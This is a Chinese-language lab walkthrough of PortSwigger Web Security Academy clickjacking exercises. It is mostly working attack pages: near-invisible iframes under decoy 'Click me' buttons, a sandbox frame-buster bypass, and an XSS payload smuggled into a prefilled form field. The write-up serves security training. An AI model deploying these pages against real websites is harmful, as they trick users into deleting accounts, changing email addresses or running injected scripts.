具有 CSRF 令牌保护的基本点击劫持

image-20221204112349097

这里存在一个删除账号的按钮 其中使用csrf进行了保护 这里需要我们去伪造页面欺骗用户点击这个删除按钮

image-20221204114809697

我们先来看一下官方的payload

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>

其中这里先包含了一个 iframe标签

<iframe src="https://0acd002304e24941c0a316e7009900d2.web-security-academy.net/my-account"></iframe>

如果没登录的话可以先登录一下

image-20221204115802889

现在我们需要调整一下样式使他变得好看点

<style>
iframe{
position:relative;
/* 自适应高度*/
width: 700px;
height: 800px;
opacity: 0.1;
/* 表示元素的透明度*/
z-index: 2;
/* 当被某些元素挡住时显示的顺序*/
}
</style>
<iframe src="https://0a18001503733d79c1f925e000e5006c.web-security-academy.net/my-account"></iframe>

image-20221204123008259

变成了这样 我们还需要一个点击字样

image-20221204123033596

<style>
iframe{
position:relative;
/* 自适应高度*/
width: 700px;
height: 800px;
opacity: 0.1;
/* 表示元素的透明度*/
z-index: 2;
/* 当被某些元素挡住时显示的顺序*/
}
</style>
<div>Test me</div>
<iframe src="https://0a18001503733d79c1f925e000e5006c.web-security-academy.net/my-account"></iframe>

image-20221204123133050

调整一下位置

image-20221204124350609

<style>
iframe{
position:relative;
/* 相对定位*/
width: 1000px;
height: 700px;
opacity: 0.1;
/* 表示元素的透明度*/
z-index: 2;
/* 当被某些元素挡住时显示的顺序*/
}
div{
position: absolute;
/* 绝对定位*/
top:520px;
left: 80px;
z-index: 1 ;
}
</style>
<div>Test me</div>
<iframe src="https://0a18001503733d79c1f925e000e5006c.web-security-academy.net/my-account"></iframe>

接着需要修改一下透明度 还需要吧Test me改成Click me

image-20221204124511279

<style>
iframe{
position:relative;
/* 相对定位*/
width: 1000px;
height: 700px;
opacity: 0.00000001;
/* 表示元素的透明度*/
z-index: 2;
/* 当被某些元素挡住时显示的顺序*/
}
div{
position: absolute;
/* 绝对定位*/
top:520px;
left: 80px;
z-index: 1 ;
}
</style>
<div>Click me</div>
<iframe src="https://0a18001503733d79c1f925e000e5006c.web-security-academy.net/my-account"></iframe>

image-20221204124822466

使用从 URL 参数预填充的表单输入数据进行点击劫持

image-20221204124853871

这里当我们登录之后 如果直接带email参数访问 会自动填充进去

image-20221204125601472

<style>
iframe{
position: relative;
width: 400px;
height: 600px;
opacity: 0.000001;
z-index: 2;
}
div{
position: absolute;
top:505px;
left:100px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a35002c043e60f9c04d46c9006400af.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

image-20221204130931161

使用 frame buster 脚本进行点击劫持

image-20221204135412340

这里的 farme buster 大致意思就是只接受自己是最顶层网页 但是当iframe指定 sandbox 为allow-forms或者 allow-scripts,并且忽略 allow-top-ngvigation会使iframe中的网页不知道自己是否是最顶层网页

<style>
iframe{
position: relative;
width: 1000px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div{
position: absolute;
top:475px;
left:98px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a35002c043e60f9c04d46c9006400af.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

image-20221204144436494

利用点击劫持漏洞触发基于 DOM 的 XSS

image-20221204144734283

image-20221204162738301

这个靶场也可以预填充

<style>
iframe{
position: relative;
width: 2000px;
height: 1500px;
opacity: 0.000001;
z-index: 2;
}
div{
position: absolute;
top: 830px;
left: 460px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0af90067041c65cfc02a030a00a8007f.web-security-academy.net/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&email=hacker@attacker-website.com&subject=test&message=test"></iframe>

image-20221204164022028

多步点击劫持

image-20221204164053818

这里是让我们点击两次 执行劫持命令

image-20221204170249611

image-20221204170242543

<style>
iframe{
position:relative;
width: 2000px;
height: 1000px;
opacity: 0.1;
z-index: 2;
}
.firstClick,.secondClick{
position: absolute;
top: 540px;
left: 442px;
z-index: 1;

}
.secondClick{
top: 340px;
left: 580px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me second</div>
<iframe src="https://0a0a001703e0d66fc07443c70068004e.web-security-academy.net/my-account"></iframe>

image-20221204170739282